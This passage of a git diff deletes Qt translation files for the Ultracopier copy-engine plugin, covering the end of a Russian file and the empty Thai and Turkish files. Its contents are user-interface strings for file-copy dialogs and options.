- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation>Предложить новое имя</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation>Всегда делайте это действие</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation>переименовать</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation>слияние</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation>пропускать</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation>отменить</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation>Папка уже существует</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation>%1 - копия</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - копия (%2)</translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation>Передача файлов прав</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation>Держите дату файла</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation>размер блока</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation>KB</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation>Авто начать передачу</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation>Когда папка ошибка</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation>просить</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation>пропускать</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation>слияние</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation>переименовать</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation>Убедитесь, что папка существует</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation>Когда папка столкновения</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation>Контрольная</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation>Только после того, как ошибка</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation>Игнорировать, если невозможно</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation>У контрольной суммы</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation>Включить OS буфер</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation>Фильтры</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation>Переименование правила</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation>ОС буфер, только если меньше</translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="218"/>
- <location filename="../../scanFileOrFolder.cpp" line="282"/>
- <source>%1 - copy</source>
- <translation>%1 - копия</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="228"/>
- <location filename="../../scanFileOrFolder.cpp" line="292"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - копия (%2)</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="326"/>
- <source>The folder not exists</source>
- <translation>Папка не существует</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="328"/>
- <source>The folder is not readable</source>
- <translation>Папки не читается</translation>
- </message>
-</context>
-</TS>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Languages/th/translation.ts b/plugins/CopyEngine/Ultracopier-0.3/Languages/th/translation.ts
deleted file mode 100644
index 0898631..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Languages/th/translation.ts
+++ /dev/null
@@ -1,795 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1162"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1169"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1185"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1201"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1210"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1216"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1263"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1269"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="59"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="311"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="321"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="626"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="257"/>
- <location filename="../../copyEngine.cpp" line="275"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="286"/>
- <location filename="../../copyEngine.cpp" line="304"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="511"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="218"/>
- <location filename="../../scanFileOrFolder.cpp" line="282"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="228"/>
- <location filename="../../scanFileOrFolder.cpp" line="292"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="326"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="328"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Languages/tr/translation.ts b/plugins/CopyEngine/Ultracopier-0.3/Languages/tr/translation.ts
deleted file mode 100644
index 0898631..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Languages/tr/translation.ts
+++ /dev/null
@@ -1,795 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
